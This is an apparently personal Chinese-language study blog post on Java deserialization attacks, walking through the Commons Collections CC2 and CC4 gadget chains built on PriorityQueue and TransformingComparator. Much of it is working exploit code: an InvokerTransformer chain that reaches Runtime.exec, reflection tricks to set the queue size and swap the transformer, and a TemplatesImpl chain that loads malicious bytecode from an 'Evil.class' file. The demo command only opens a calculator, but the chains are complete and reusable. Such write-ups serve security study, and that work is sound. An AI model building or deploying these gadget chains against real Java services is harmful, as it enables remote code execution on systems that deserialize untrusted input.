Java反序列化大结局 —— CC链2+4

C.C你带我走吧😭

CC2+4

CommonsCollections4中的TransformingComparator类多了可以被序列化,这就让攻击路径多了一条。

所以说它是CommonsCollections4版本可用,并不说原来的链就不能用了,只是4.0版本还可以用这个类来构造。

然后这条链的利用有两种方法,其实都差不多,就变了一点点。

和前面的一样,最后都是要调用到一个类的transform方法。TransformingComparatorcompare方法就是我们的目标

然后找到一个类,它的readObject方法中调用了compare,同时这个调用的对像还可控。最后找到了PriorityQueue

它的调用链为:readObject() -> heapify() -> siftDown(i, (E) queue[i]) -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right]) > 0)

然后这个comparator在构造时传入,也是可控的

所以这个链的基本格式就是

// 最后chainedTransformer.transform()就行
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

// 序列化priorityQueue类
serialize(priorityQueue);
unserialize("ser.bin");

然后要让这条链走通,我们还要修改些priorityQueue里面的内容。跟进readObject里的内容,就会发现只有一点阻塞点。

heapify中为了执行到siftDown需要size >= 2(右移1位,减1,不小于0)。同时这里和CC1一样,调用transform时往里面传了参数。

所以关于解决上面的问题,就有两种方法。

CC4

在CC1中用ChainedTransformer+ConstantTransformer来无视传入的参数,这里也可以。这个执行命令的调用链随便在前面选一条就行。

然后用反射来修改size

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

Class pc = priorityQueue.getClass();
Field sizeField = pc.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);

完整代码

public static void main(String[] args) throws Exception{
    String cmd = "open -a Calculator";
    Class rc = Runtime.class;

    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(rc),
            new InvokerTransformer(
                    "getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", null}
            ),
            new InvokerTransformer(
                    "invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, null}
            ),
            new InvokerTransformer(
                    "exec",
                    new Class[]{String.class},
                    new Object[]{cmd}
            )
    });

    TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

    Class pc = priorityQueue.getClass();
    Field sizeField = pc.getDeclaredField("size");
    sizeField.setAccessible(true);
    sizeField.set(priorityQueue, 2);

//        serialize(priorityQueue);
    unserialize("ser.bin");

}

CC2

观察最后调用的地方,我们发现最后transform传入的参数也是可控的

这个queue在创建完PriorityQueue后可以用add方法传入。虽然感觉有点多次一举,但是这个方法让调用链中没了数组(ChainedTransformer所需要的)。

比如CC3那条链,我们就可以直接用InvokerTransformer调用TemplatesImplnewTransformer方法,不去走TrAXFilter+InstantiateTransformer最后让ChainedTransformer.transform

TemplatesImpl templates = new TemplatesImpl();
// 反射修改必要的属性
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "skky");
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/Evil.class"));       // Evil bytecode
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>(
        "newTransformer",
        new Class[]{},
        new Object[]{}
);
invokerTransformer.transform(templates);

TransformingComparator.compareinvokerTransformer.transform(templates)templates由我们手动传入。

HashMap一样priorityQueue.add也会走一遍恶意代码的执行流程,可以用反射绕过这个部分

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(templates);

Class tc = transformingComparator.getClass();
Field transformerField = tc.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);

结语

至此,整个Commons Collections反序列化利用全部结束。剩下的CC5+7其实也思路都差不多,就不再多赘述了(想摆烂了

最后附上我画的一张思维导图,over!